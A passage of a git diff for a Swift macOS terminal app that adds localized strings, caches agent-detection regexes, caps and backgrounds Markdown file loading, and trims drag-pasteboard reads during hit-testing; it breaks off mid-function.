F4000000A1B2C3D4E5F60718 /* GhosttyConfigTests.swift in Sources */, F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */, + BEEF50200000000000000004 /* WorkspaceFixSweepWKSPRegressionTests.swift in Sources */, + BEEF50200000000000000002 /* WorkspaceFixSweepWKSPTests.swift in Sources */, RRPL0002A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift in Sources */, 3C03A46E60CFD11D198C9504 /* SessionAutosaveCoordinatorTests.swift in Sources */, SWCT000001A1B2C3D4E5F607 /* SessionWALCoreTests.swift in Sources */, diff --git a/Resources/Localizable.xcstrings b/Resources/Localizable.xcstrings index c05bcb9b5..f4af9cda1 100644 --- a/Resources/Localizable.xcstrings +++ b/Resources/Localizable.xcstrings @@ -19125,6 +19125,142 @@ } } } + }, + "workspace.agentOverview.sendMessage.unavailable": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "This terminal is no longer available. Your message was not sent." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "このターミナルは利用できなくなりました。メッセージは送信されませんでした。" + } + } + } + }, + "workspace.notificationSound.default": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Default" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "デフォルト" + } + } + } + }, + "workspace.notificationSound.none": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "None" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "なし" + } + } + } + }, + "workspace.markdown.find.close": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Close Find" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "検索を閉じる" + } + } + } + }, + "workspace.defaultTitle.terminal": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Terminal" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "ターミナル" + } + } + } + }, + "workspace.splitButton.newTerminal": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "New Terminal" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "新規ターミナル" + } + } + } + }, + "workspace.splitButton.newBrowser": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "New Browser" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "新規ブラウザ" + } + } + } + }, + "workspace.markdown.truncated": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "This file is larger than 2 MB. Only the first 2 MB is shown." + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "このファイルは 2 MB を超えています。最初の 2 MB のみ表示しています。" + } + } + } } }, "version": "1.0" diff --git a/Sources/AgentActivityState.swift b/Sources/AgentActivityState.swift index 41cf69316..faf125e91 100644 --- a/Sources/AgentActivityState.swift +++ b/Sources/AgentActivityState.swift @@ -113,7 +113,12 @@ struct SidebarAgentIndicator: Equatable { static func make(for workspace: Workspace, now: Date = Date()) -> SidebarAgentIndicator? { let winner = workspace.panelAgentPresence.values.reduce(nil as AgentPresence?) { partial, presence in guard let partial else { return presence } - return presence.state.severity >= partial.state.severity ? presence : partial + if presence.state.severity != partial.state.severity { + return presence.state.severity > partial.state.severity ? presence : partial + } + // Equal severity: the freshest report wins, so dictionary order never decides the + // stale flag. + return presence.lastEventAt > partial.lastEventAt ? presence : partial } guard let winner else { return nil } diff --git a/Sources/AgentManifest.swift b/Sources/AgentManifest.swift index b3b88e2ff..e2fb5f616 100644 --- a/Sources/AgentManifest.swift +++ b/Sources/AgentManifest.swift @@ -87,13 +87,14 @@ extension AgentManifest { /// always calls this off-main — see AgentScreenDetectionEngine.swift). func classify(text: String) -> ClassificationResult? { guard !text.isEmpty else { return nil } + let cappedText = Self.cappedSample(text) let orderedStates = states.sorted { $0.priority > $1.priority } for stateRule in orderedStates { - let anchoredText = Self.tailLines(text, maxLines: stateRule.anchorLastNLines) + let anchoredText = Self.tailLines(cappedText, maxLines: stateRule.anchorLastNLines) guard !anchoredText.isEmpty else { continue } let range = NSRange(anchoredText.startIndex.. Bool { + guard !text.isEmpty else { return false } + let cappedText = Self.cappedSample(text) + let range = NSRange(cappedText.startIndex.. [String] { + let all = recognize.screenPatterns + states.flatMap(\.patterns) + return all.filter { Self.compiledRegex($0) == nil } + } + + /// Upper bound on the text one rule matches against. Agent state lives at the bottom of the + /// screen, so an oversized sample keeps its tail. Bounds regex cost per sample. + static let maxSampleUTF8Bytes = 64 * 1024 + + static func cappedSample(_ text: String) -> String { + guard text.utf8.count > maxSampleUTF8Bytes else { return text } + // A scalar split at the cut decodes to U+FFFD, which no pattern relies on. + return String(decoding: text.utf8.suffix(maxSampleUTF8Bytes), as: UTF8.self) + } + + /// Compiles each distinct pattern once per process; the sampling loop runs every tick. + static func compiledRegex(_ pattern: String) -> NSRegularExpression? { + AgentManifestRegexCache.shared.regex(for: pattern) + } + private static func tailLines(_ text: String, maxLines: Int) -> String { guard maxLines > 0 else { return text } let lines = text.split(separator: "\n", omittingEmptySubsequences: false) @@ -110,6 +143,24 @@ extension AgentManifest { } } +/// Process-wide compiled-regex cache for manifest patterns. `NSRegularExpression` is immutable +/// and safe to share across threads once built. Invalid patterns cache as a miss. +final class AgentManifestRegexCache: @unchecked Sendable { + static let shared = AgentManifestRegexCache() + + private let lock = NSLock() + private var compiled: [String: NSRegularExpression?] = [:] + + func regex(for pattern: String) -> NSRegularExpression? { + lock.lock() + defer { lock.unlock() } + if let cached = compiled[pattern] { return cached } + let regex = try? NSRegularExpression(pattern: pattern) + compiled[pattern] = .some(regex) + return regex + } +} + extension AgentActivityState { /// Maps a manifest's internal bucket name (`AgentManifest.StateRule.bucket`) to the 3-value /// wire state. "done" collapses to `.idle` — see docs/plans/screen-manifest-detection.md diff --git a/Sources/AgentManifestLoader.swift b/Sources/AgentManifestLoader.swift index 025bb0ed8..df8f71120 100644 --- a/Sources/AgentManifestLoader.swift +++ b/Sources/AgentManifestLoader.swift @@ -42,7 +42,15 @@ final class AgentManifestLoader: @unchecked Sendable { let source: ManifestSource } + /// A manifest file that decoded but was rejected because a pattern does not compile. + struct RejectedManifest: Sendable, Equatable { + let agent: String + let path: String + let invalidPatterns: [String] + } + private let lock = NSLock() + private var rejected: [RejectedManifest] = [] private var manifestsByAgent: [String: AgentManifest] = [:] private var sourceByAgent: [String: ManifestSource] = [:] private var isLoaded = false @@ -62,8 +70,21 @@ final class AgentManifestLoader: @unchecked Sendable { var byAgent: [String: AgentManifest] = [:] var bySource: [String: ManifestSource] = [:] + var rejectedManifests: [RejectedManifest] = [] let decoder = JSONDecoder() + /// Invalid regexes are rejected here, once, instead of silently never matching on + /// every sampling tick. + func accept(_ manifest: AgentManifest, url: URL) -> Bool { + let invalid = manifest.invalidPatterns() + guard invalid.isEmpty else { + rejectedManifests.append(RejectedManifest(agent: manifest.agent, path: url.path, invalidPatterns: invalid)) + NSLog("[AgentManifestLoader] rejected %@ (%@): invalid patterns %@", manifest.agent, url.path, invalid.description) + return false + } + return true + } + for agentId in Self.bundledAgentIds { guard let url = Bundle.main.url(forResource: agentId, withExtension: "json", subdirectory: "AgentDetection"), let data = try? Data(contentsOf: url), @@ -73,6 +94,7 @@ final class AgentManifestLoader: @unchecked Sendable { #endif continue } + guard accept(manifest, url: url) else { continue } byAgent[manifest.agent] = manifest bySource[manifest.agent] = .bundled } @@ -90,6 +112,7 @@ final class AgentManifestLoader: @unchecked Sendable { #endif continue } + guard accept(manifest, url: url) else { continue } byAgent[manifest.agent] = manifest bySource[manifest.agent] = .override #if DEBUG @@ -100,6 +123,16 @@ final class AgentManifestLoader: @unchecked Sendable { manifestsByAgent = byAgent sourceByAgent = bySource + rejected = rejectedManifests + } + + /// Manifest files rejected at load because a pattern does not compile, so the + /// `agent.detection.*` surface can tell an author why their override is not active. + func rejectedManifests() -> [RejectedManifest] { + loadIfNeeded() + lock.lock() + defer { lock.unlock() } + return rejected } /// Looks up a manifest by its stable agent id (e.g. "claude-code"). @@ -148,6 +181,7 @@ final class AgentManifestLoader: @unchecked Sendable { isLoaded = false manifestsByAgent = [:] sourceByAgent = [:] + rejected = [] lock.unlock() loadIfNeeded() } @@ -160,6 +194,7 @@ final class AgentManifestLoader: @unchecked Sendable { isLoaded = false manifestsByAgent = [:] sourceByAgent = [:] + rejected = [] lock.unlock() } #endif diff --git a/Sources/AgentOverviewWindow.swift b/Sources/AgentOverviewWindow.swift index 1383f61f4..16c72a550 100644 --- a/Sources/AgentOverviewWindow.swift +++ b/Sources/AgentOverviewWindow.swift @@ -266,6 +266,7 @@ final class AgentOverviewViewModel: ObservableObject { @Published private(set) var outputGate = AgentOverviewOutputGate() @Published var messageText = "" @Published var isShowingMessageSheet = false + @Published var messageSendError: String? @Published var filter = AgentOverviewFilter.all { didSet { reconcileVisibleSelection() } } @Published var search = "" { didSet { reconcileVisibleSelection() } } @@ -376,15 +377,25 @@ final class AgentOverviewViewModel: ObservableObject { func beginSendingMessage() { guard canUseTerminalActions else { return } messageText = "" + messageSendError = nil isShowingMessageSheet = true } func sendMessage() { let trimmed = messageText.trimmingCharacters(in: .whitespacesAndNewlines) + guard !trimmed.isEmpty else { return } guard selection?.allowsTerminalControl == true, - !trimmed.isEmpty, - let panel = resolveTerminalPanel() else { return } - panel.sendInput(trimmed + "\n") + let resolved = resolveSelection(), + let panel = resolved.panel else { + // Keep the sheet and the draft so the user can retry once the terminal is back. + messageSendError = String( + localized: "workspace.agentOverview.sendMessage.unavailable", + defaultValue: "This terminal is no longer available. Your message was not sent." + ) + return + } + resolved.workspace.deliverTextToAgent(trimmed, terminalPanel: panel) + messageSendError = nil isShowingMessageSheet = false messageText = "" } @@ -916,6 +927,12 @@ private struct AgentOverviewRootView: View { axis: .vertical ) .lineLimit(3...8) + if let error = viewModel.messageSendError { + Text(error) + .font(.callout) + .foregroundStyle(.red) + .fixedSize(horizontal: false, vertical: true) + } HStack { Spacer() Button(String(localized: "agentOverview.cancel", defaultValue: "Cancel")) { diff --git a/Sources/AgentScreenDetectionEngine.swift b/Sources/AgentScreenDetectionEngine.swift index 6b6f083f0..ad1f44d07 100644 --- a/Sources/AgentScreenDetectionEngine.swift +++ b/Sources/AgentScreenDetectionEngine.swift @@ -202,8 +202,11 @@ final class AgentScreenDetectionEngine: @unchecked Sendable { guard let terminalPanel = panel as? TerminalPanel else { continue } guard !alreadyCandidates.contains(panelId) else { continue } guard workspace.panelAgentStateSources[panelId] != .hooks else { continue } - guard let text = TerminalController.shared.v2SurfaceWaitReadText( + // Viewport only: a full-scrollback read on every tick costs main-thread + // time proportional to history size, and detection needs only the tail. + guard let text = TerminalController.shared.readTerminalText( terminalPanel: terminalPanel, + includeScrollback: false, lineLimit: Self.recognitionTailLineLimit ) else { continue } samples.append((panelId, workspace.id, text)) @@ -215,12 +218,7 @@ final class AgentScreenDetectionEngine: @unchecked Sendable { for sample in samples { for manifest in manifests { - let matched = manifest.recognize.screenPatterns.contains { pattern in - guard let regex = try? NSRegularExpression(pattern: pattern) else { return false } - let range = NSRange(sample.text.startIndex.. Bool { - guard DragOverlayRoutingPolicy.hasBonsplitTabTransfer(pasteboardTypes) else { return false } + guard capturesEventType(eventType) else { return false } + return DragOverlayRoutingPolicy.hasBonsplitTabTransfer(pasteboardTypes) + } + + /// Event types during which a tab drag can be in flight. Checked before reading the drag + /// pasteboard so other events (clicks, keys, scroll) skip that IPC round trip. + static func capturesEventType(_ eventType: NSEvent.EventType?) -> Bool { guard let eventType else { return false } switch eventType { @@ -228,8 +234,8 @@ final class BrowserPaneDropTargetView: NSView { override func hitTest(_ point: NSPoint) -> NSView? { guard bounds.contains(point), dropContext != nil else { return nil } - let pasteboardTypes = NSPasteboard(name: .drag).types let eventType = NSApp.currentEvent?.type + let pasteboardTypes = Self.capturesEventType(eventType) ? NSPasteboard(name: .drag).types : nil let capture = Self.shouldCaptureHitTesting( pasteboardTypes: pasteboardTypes, eventType: eventType diff --git a/Sources/FileDropOverlayView.swift b/Sources/FileDropOverlayView.swift index dcff59c53..9cf458d96 100644 --- a/Sources/FileDropOverlayView.swift +++ b/Sources/FileDropOverlayView.swift @@ -79,15 +79,18 @@ final class FileDropOverlayView: NSView { // file-drop, bonsplit tab drags, and sidebar tab reorder drags cannot conflict. override func hitTest(_ point: NSPoint) -> NSView? { - let pb = NSPasteboard(name: .drag) let eventType = NSApp.currentEvent?.type + // Only drag-motion events can capture; skip the drag pasteboard IPC for everything else. + let pasteboardTypes = DragOverlayRoutingPolicy.isDragMouseEvent(eventType) + ? NSPasteboard(name: .drag).types + : nil let shouldCapture = DragOverlayRoutingPolicy.shouldCaptureFileDropOverlay( - pasteboardTypes: pb.types, + pasteboardTypes: pasteboardTypes, eventType: eventType ) #if DEBUG logHitTestDecision( - pasteboardTypes: pb.types, + pasteboardTypes: pasteboardTypes, eventType: eventType, shouldCapture: shouldCapture ) diff --git a/Sources/NotificationSoundStaging.swift b/Sources/NotificationSoundStaging.swift index ceecd4612..138bc201a 100644 --- a/Sources/NotificationSoundStaging.swift +++ b/Sources/NotificationSoundStaging.swift @@ -18,7 +18,7 @@ enum NotificationSoundSettings { static let defaultCustomCommand = "" static let systemSounds: [(label: String, value: String)] = [ - ("Default", "default"), + (String(localized: "workspace.notificationSound.default", defaultValue: "Default"), "default"), ("Basso", "Basso"), ("Blow", "Blow"), ("Bottle", "Bottle"), @@ -33,7 +33,7 @@ enum NotificationSoundSettings { ("Sosumi", "Sosumi"), ("Submarine", "Submarine"), ("Tink", "Tink"), - ("None", "none"), + (String(localized: "workspace.notificationSound.none", defaultValue: "None"), "none"), ] static func sound(defaults: UserDefaults = .standard) -> UNNotificationSound? { diff --git a/Sources/Panels/MarkdownPanel.swift b/Sources/Panels/MarkdownPanel.swift index 6d90b7af1..09d752a2c 100644 --- a/Sources/Panels/MarkdownPanel.swift +++ b/Sources/Panels/MarkdownPanel.swift @@ -48,6 +48,13 @@ final class MarkdownPanel: Panel, ObservableObject { /// Whether the file has been deleted or is unreadable. @Published private(set) var isFileUnavailable: Bool = false + /// True when the file is larger than `maxDisplayBytes` and only its first part is shown. + @Published private(set) var isTruncated: Bool = false + + /// Largest prefix of the file that is read and rendered. A multi-megabyte file would + /// otherwise stall the main thread in the markdown renderer. + nonisolated static let maxDisplayBytes = 2 * 1024 * 1024 + /// Token incremented to trigger focus flash animation. @Published private(set) var focusFlashToken: Int = 0 @@ -67,6 +74,14 @@ final class MarkdownPanel: Panel, ObservableObject { private static let maxReattachAttempts = 6 /// Delay between reattach attempts (total window: attempts * delay = 3s). private static let reattachDelay: TimeInterval = 0.5 + /// Content-change events inside this window collapse into one reload (editors and + /// generators often write a file in many small chunks). + private nonisolated static let reloadCoalesceDelay: TimeInterval = 0.15 + + /// Bumped by every load request; a read that finishes after a newer request is dropped. + private var loadGeneration: Int = 0 + /// Pending coalesced reload, only touched on `watchQueue`. + private nonisolated(unsafe) var pendingReload: DispatchWorkItem? // MARK: - Find state plumbing @@ -83,7 +98,7 @@ final class MarkdownPanel: Panel, ObservableObject { loadFileContent() startFileWatcher() - if isFileUnavailable && fileWatchSource == nil { + if fileWatchSource == nil { // Session restore can create a panel before the file is recreated. // Retry briefly so atomic-rename recreations can reconnect. scheduleReattach(attempt: 1) @@ -201,30 +216,72 @@ final class MarkdownPanel: Panel, ObservableObject { // MARK: - File I/O + /// Reads the file off the main thread and publishes the result when it lands. Only the + /// newest request applies, so an older slow read never overwrites newer content. private func loadFileContent() { guard !isClosed else { return } - do { - let newContent = try String(contentsOfFile: filePath, encoding: .utf8) - content = newContent - isFileUnavailable = false - } catch { - // Fallback: try ISO Latin-1, which accepts all 256 byte values, - // covering legacy encodings like Windows-1252. - if let data = FileManager.default.contents(atPath: filePath), - let decoded = String(data: data, encoding: .isoLatin1) { - content = decoded - isFileUnavailable = false - } else { - content = "" - isFileUnavailable = true + loadGeneration &+= 1 + let generation = loadGeneration + let path = filePath + DispatchQueue.global(qos: .userInitiated).async { [weak self] in + let result = Self.readDisplayableContent(atPath: path, maxBytes: Self.maxDisplayBytes) + DispatchQueue.main.async { + MainActor.assumeIsolated { + self?.applyLoadedContent(result, generation: generation) + } } } + } + + private func applyLoadedContent(_ result: LoadedContent?, generation: Int) { + guard !isClosed, generation == loadGeneration else { return } + if let result { + content = result.text + isTruncated = result.isTruncated + isFileUnavailable = false + } else { + content = "" + isTruncated = false + isFileUnavailable = true + } if let state = searchState { state.searchText = isFileUnavailable ? "" : MarkdownDocumentSearch.text(from: content) recomputeMatches() } } + struct LoadedContent: Equatable, Sendable { + let text: String + let isTruncated: Bool + } + + /// Returns the first `maxBytes` of a regular file (symlinks followed) decoded as UTF-8, + /// falling back to ISO Latin-1, which accepts all 256 byte values and covers legacy + /// encodings like Windows-1252. Returns nil for a missing, unreadable or non-regular file + /// (a FIFO or device would block or never end). + nonisolated static func readDisplayableContent(atPath path: String, maxBytes: Int) -> LoadedContent? { + var info = stat() + guard stat(path, &info) == 0, (info.st_mode & S_IFMT) == S_IFREG, + let handle = FileHandle(forReadingAtPath: path) else { return nil } + defer { try? handle.close() } + guard let data = try? handle.read(upToCount: maxBytes + 1) ?? Data() else { return nil } + let isTruncated = data.count > maxBytes + let bytes = isTruncated ? data.prefix(maxBytes) : data + if let text = String(data: bytes, encoding: .utf8) { + return LoadedContent(text: text, isTruncated: isTruncated) + } + if isTruncated { + // The cut can land inside a multi-byte scalar; drop at most 3 trailing bytes. + for trim in 1...3 where bytes.count > trim { + if let text = String(data: bytes.dropLast(trim), encoding: .utf8) { + return LoadedContent(text: text, isTruncated: true) + } + } + } + guard let text = String(data: bytes, encoding: .isoLatin1) else { return nil } + return LoadedContent(text: text, isTruncated: isTruncated) + } + // MARK: - File watcher via DispatchSource private func startFileWatcher() { @@ -243,6 +300,8 @@ final class MarkdownPanel: Panel, ObservableObject { guard let self else { return } let flags = source.data if flags.contains(.delete) || flags.contains(.rename) { + self.pendingReload?.cancel() + self.pendingReload = nil // File was deleted or renamed. The old file descriptor points to // a stale inode, so we must always stop and reattach the watcher // even if the new file is already readable (atomic save case). @@ -250,20 +309,26 @@ final class MarkdownPanel: Panel, ObservableObject { guard !self.isClosed else { return } self.stopFileWatcher() self.loadFileContent() - if self.isFileUnavailable { + // File already replaced — reattach to the new inode immediately. + if FileManager.default.fileExists(atPath: self.filePath) { + self.startFileWatcher() + } + if self.fileWatchSource == nil { // File not yet replaced — retry until it reappears. self.scheduleReattach(attempt: 1) - } else { - // File already replaced — reattach to the new inode immediately. - self.startFileWatcher() } } } else { - // Content changed — reload. - DispatchQueue.main.async { - guard !self.isClosed else { return } - self.loadFileContent() + // Content changed — reload once the burst settles. + self.pendingReload?.cancel() + let reload = DispatchWorkItem { [weak self] in + DispatchQueue.main.async { + guard let self, !self.isClosed else { return } + self.loadFileContent() + } } + self.pendingReload = reload + self.watchQueue.asyncAfter(deadline: .now() + Self.reloadCoalesceDelay, execute: reload) } } @@ -285,7 +350,6 @@ final class MarkdownPanel: Panel, ObservableObject { DispatchQueue.main.async { guard !self.isClosed else { return } if FileManager.default.fileExists(atPath: self.filePath) { - self.isFileUnavailable = false self.loadFileContent() self.startFileWatcher() } else { diff --git a/Sources/Panels/MarkdownPanelView.swift b/Sources/Panels/MarkdownPanelView.swift index e5a6742fc..0f032e0a0 100644 --- a/Sources/Panels/MarkdownPanelView.swift +++ b/Sources/Panels/MarkdownPanelView.swift @@ -85,6 +85,12 @@ struct MarkdownPanelView: View { Divider() .padding(.horizontal, 16) + if panel.isTruncated { + truncationNotice + .padding(.horizontal, 24) + .padding(.top, 12) + } + MarkdownDocumentView( content: panel.content, baseURL: URL(fileURLWithPath: panel.filePath).deletingLastPathComponent(), @@ -96,6 +102,18 @@ struct MarkdownPanelView: View { } } + private var truncationNotice: some View { + Label( + String( + localized: "workspace.markdown.truncated", + defaultValue: "This file is larger than 2 MB. Only the first 2 MB is shown." + ), + systemImage: "exclamationmark.triangle" + ) + .font(.caption) + .foregroundColor(.secondary) + } + private var filePathHeader: some View { HStack(spacing: 6) { Image(systemName: "doc.richtext") @@ -296,6 +314,7 @@ struct MarkdownSearchOverlay: View { } .buttonStyle(SearchButtonStyle()) .safeHelp(String(localized: "search.nextMatch.help", defaultValue: "Next match (Return)")) + .accessibilityLabel(String(localized: "menu.find.findNext", defaultValue: "Find Next")) Button(action: { #if DEBUG @@ -307,6 +326,7 @@ struct MarkdownSearchOverlay: View { } .buttonStyle(SearchButtonStyle()) .safeHelp(String(localized: "search.previousMatch.help", defaultValue: "Previous match (Shift+Return)")) + .accessibilityLabel(String(localized: "menu.find.findPrevious", defaultValue: "Find Previous")) Button(action: { #if DEBUG @@ -318,6 +338,7 @@ struct MarkdownSearchOverlay: View { } .buttonStyle(SearchButtonStyle()) .safeHelp(String(localized: "search.close.help", defaultValue: "Close (Esc)")) + .accessibilityLabel(String(localized: "workspace.markdown.find.close", defaultValue: "Close Find")) } .padding(8) .background(.background) @@ -431,7 +452,6 @@ private struct MarkdownPointerObserver: NSViewRepresentable { final class MarkdownPanelPointerObserverView: NSView { var onPointerDown: (() -> Void)? private var eventMonitor: Any? - private weak var forwardedMouseTarget: NSView? override var mouseDownCanMoveWindow: Bool { false } @@ -450,25 +470,10 @@ final class MarkdownPanelPointerObserverView: NSView { } } - // This overlay never takes part in hit-testing. It only ever did so while - // the first-click-focus preference was on, and that preference is gone. + // This overlay never takes part in hit-testing; it observes left-clicks through a local + // event monitor so markdown text selection and links keep their native handling. override func hitTest(_ point: NSPoint) -> NSView? { nil } - override func mouseDown(with event: NSEvent) { - onPointerDown?() - forwardedMouseTarget = forwardedTarget(for: event) - forwardedMouseTarget?.mouseDown(with: event) - } - - override func mouseDragged(with event: NSEvent) { - forwardedMouseTarget?.mouseDragged(with: event) - } - - override func mouseUp(with event: NSEvent) { - forwardedMouseTarget?.mouseUp(with: event) - forwardedMouseTarget = nil - } - func shouldHandle(_ event: NSEvent) -> Bool { guard event.type == .leftMouseDown, let window, @@ -492,24 +497,4 @@ final class MarkdownPanelPointerObserverView: NSView { self?.handleEventIfNeeded(event) ?? event } } - - private func forwardedTarget(for event: NSEvent) -> NSView? { - guard let window else { -#if DEBUG - NSLog("MarkdownPanelPointerObserverView.forwardedTarget skipped, window=0 contentView=0") -#endif - return nil - } - guard let contentView = window.contentView else { -#if DEBUG - NSLog("MarkdownPanelPointerObserverView.forwardedTarget skipped, window=1 contentView=0") -#endif - return nil - } - isHidden = true - defer { isHidden = false } - let point = contentView.convert(event.locationInWindow, from: nil) - let target = contentView.hitTest(point) - return target === self ? nil : target - } } diff --git a/Sources/Panels/ReviewPanelView.swift b/Sources/Panels/ReviewPanelView.swift index e88158b78..dd82c0b41 100644 --- a/Sources/Panels/ReviewPanelView.swift +++ b/Sources/Panels/ReviewPanelView.swift @@ -256,6 +256,7 @@ struct ReviewPanelView: View { } .buttonStyle(.plain) .safeHelp(String(localized: "review.refresh.help", defaultValue: "Refresh diff")) + .accessibilityLabel(String(localized: "review.refresh.help", defaultValue: "Refresh diff")) } } @@ -441,6 +442,15 @@ struct ReviewPanelView: View { } private func lineRow(_ row: ReviewPanelAnnotatedLine, filePath: String) -> some View { + Button { + handleLineTap(filePath: filePath, anchorLine: row.anchorLine) + } label: { + lineRowLabel(row) + } + .buttonStyle(.plain) + } + + private func lineRowLabel(_ row: ReviewPanelAnnotatedLine) -> some View { HStack(spacing: 0) { Text(row.line.oldLineNumber.map(String.init) ?? "") .frame(width: 36, alignment: .trailing) @@ -459,9 +469,6 @@ struct ReviewPanelView: View { .padding(.horizontal, 4) .background(backgroundColor(for: row.line.kind)) .contentShape(Rectangle()) - .onTapGesture { - handleLineTap(filePath: filePath, anchorLine: row.anchorLine) - } } private func backgroundColor(for kind: ReviewDiffLineKind) -> Color { @@ -593,6 +600,7 @@ struct ReviewPanelView: View { } .buttonStyle(.plain) .safeHelp(String(localized: "review.comment.remove.help", defaultValue: "Remove comment")) + .accessibilityLabel(String(localized: "review.comment.remove.help", defaultValue: "Remove comment")) } .padding(6) .background(Color.primary.opacity(0.04)) diff --git a/Sources/SidebarDragDrop.swift b/Sources/SidebarDragDrop.swift index c95b52635..20b5876dc 100644 --- a/Sources/SidebarDragDrop.swift +++ b/Sources/SidebarDragDrop.swift @@ -63,9 +63,8 @@ enum DragOverlayRoutingPolicy { pasteboardTypes: [NSPasteboard.PasteboardType]?, eventType: NSEvent.EventType? ) -> Bool { - guard shouldCaptureFileDropDestination(pasteboardTypes: pasteboardTypes) else { return false } guard isDragMouseEvent(eventType) else { return false } - return true + return shouldCaptureFileDropDestination(pasteboardTypes: pasteboardTypes) } static func shouldCaptureSidebarExternalOverlay( @@ -94,7 +93,9 @@ enum DragOverlayRoutingPolicy { return hasBonsplitTabTransfer(pasteboardTypes) || hasSidebarTabReorder(pasteboardTypes) } - private static func isDragMouseEvent(_ eventType: NSEvent.EventType?) -> Bool { + /// Callers check this before reading `NSPasteboard(name: .drag).types`, an IPC round trip + /// that hit-testing would otherwise pay on every pointer event. + static func isDragMouseEvent(_ eventType: NSEvent.EventType?) -> Bool { eventType == .leftMouseDragged || eventType == .rightMouseDragged || eventType == .otherMouseDragged @@ -323,7 +324,8 @@ struct SidebarExternalDropOverlay: View { let draggedTabId: UUID? var body: some View { - let dragPasteboardTypes = NSPasteboard(name: .drag).types + // Read the drag pasteboard (an IPC round trip) only while a sidebar drag is active. + let dragPasteboardTypes = draggedTabId == nil ? nil : NSPasteboard(name: .drag).types let shouldCapture = DragOverlayRoutingPolicy.shouldCaptureSidebarExternalOverlay( draggedTabId: draggedTabId, pasteboardTypes: dragPasteboardTypes diff --git a/Sources/TabItemView.swift b/Sources/TabItemView.swift index 033c26b68..970a53fcc 100644 --- a/Sources/TabItemView.swift +++ b/Sources/TabItemView.swift @@ -343,13 +343,6 @@ struct TabItemView: View, Equatable { NSWorkspace.shared.accessibilityDisplayShouldReduceMotion } - // Shared by the metadata/log/progress row transitions below: they insert and - // remove with a slide-down under normal motion, and a plain dissolve when - // Reduce Motion is on. - private var reduceMotionAwareRowTransition: AnyTransition { - reduceMotion ? .opacity : .opacity.combined(with: .move(edge: .top)) - } - var body: some View { let _ = workspaceObservationGeneration let closeWorkspaceTooltip = String(localized: "sidebar.closeWorkspace.tooltip", defaultValue: "Close Workspace") @@ -560,7 +553,7 @@ struct TabItemView: View, Equatable { isActive: usesInvertedActiveForeground, onFocus: { updateSelection() } ) - .transition(reduceMotionAwareRowTransition) + .transition(.opacity) } if !metadataBlocks.isEmpty { SidebarMetadataMarkdownBlocks( @@ -568,7 +561,7 @@ struct TabItemView: View, Equatable { isActive: usesInvertedActiveForeground, onFocus: { updateSelection() } ) - .transition(reduceMotionAwareRowTransition) + .transition(.opacity) } } @@ -584,7 +577,7 @@ struct TabItemView: View, Equatable { .lineLimit(1) .truncationMode(.tail) } - .transition(reduceMotionAwareRowTransition) + .transition(.opacity) } // Progress bar @@ -608,7 +601,7 @@ struct TabItemView: View, Equatable { .lineLimit(1) } } - .transition(reduceMotionAwareRowTransition) + .transition(.opacity) } // Branch + directory row @@ -714,9 +707,9 @@ struct TabItemView: View, Equatable { .lineLimit(1) } } - .animation(reduceMotion ? nil : .easeInOut(duration: 0.2), value: tab.logEntries.count) - .animation(reduceMotion ? nil : .easeInOut(duration: 0.2), value: tab.progress != nil) - .animation(reduceMotion ? nil : .easeInOut(duration: 0.2), value: tab.metadataBlocks.count) + .animation(reduceMotion ? nil : .easeOut(duration: 0.15), value: tab.logEntries.count) + .animation(reduceMotion ? nil : .easeOut(duration: 0.15), value: tab.progress != nil) + .animation(reduceMotion ? nil : .easeOut(duration: 0.15), value: tab.metadataBlocks.count) .padding(.leading, showsWorktreeBadge ? 14 : 0) .padding(.horizontal, rowMetrics.horizontalPadding) .padding(.vertical, rowMetrics.verticalPadding) @@ -1500,7 +1493,7 @@ struct TabItemView: View, Equatable { } private var pullRequestForegroundColor: Color { - isActive ? .white.opacity(0.75) : .secondary + activeSecondaryColor(0.75) } private func openPullRequestLink(_ url: URL) { diff --git a/Sources/TerminalNotificationStore.swift b/Sources/TerminalNotificationStore.swift index 38a667648..961d97b07 100644 --- a/Sources/TerminalNotificationStore.swift +++ b/Sources/TerminalNotificationStore.swift @@ -154,7 +154,6 @@ final class TerminalNotificationStore: ObservableObject { private var hasRequestedAutomaticAuthorization = false private var hasDeferredAuthorizationRequest = false private var hasPromptedForSettings = false - private var userDefaultsObserver: NSObjectProtocol? private let settingsPromptWindowRetryDelay: TimeInterval = 0.5 private let settingsPromptWindowRetryLimit = 20 private var notificationSettingsWindowProvider: () -> NSWindow? = { @@ -188,25 +187,10 @@ final class TerminalNotificationStore: ObservableObject { private init() { indexes = Self.buildIndexes(for: notifications) - userDefaultsObserver = NotificationCenter.default.addObserver( - forName: UserDefaults.didChangeNotification, - object: nil, - queue: .main - ) { [weak self] _ in - MainActor.assumeIsolated { - self?.refreshDockBadge() - } - } refreshDockBadge() refreshAuthorizationStatus() } - deinit { - if let userDefaultsObserver { - NotificationCenter.default.removeObserver(userDefaultsObserver) - } - } - static func dockBadgeLabel(unreadCount: Int, isEnabled: Bool, runTag: String? = nil) -> String? { let unreadLabel: String? = { guard isEnabled, unreadCount > 0 else { return nil } @@ -567,6 +551,27 @@ final class TerminalNotificationStore: ObservableObject { center.removePendingNotificationRequestsOffMain(withIdentifiers: idsToClear) } + /// Moves a surface's notifications to another workspace when the surface itself moves there + /// (drag between workspaces or windows), so its unread badge and history follow it. + func rekeyNotifications(surfaceId: UUID, fromTabId: UUID, toTabId: UUID) { + 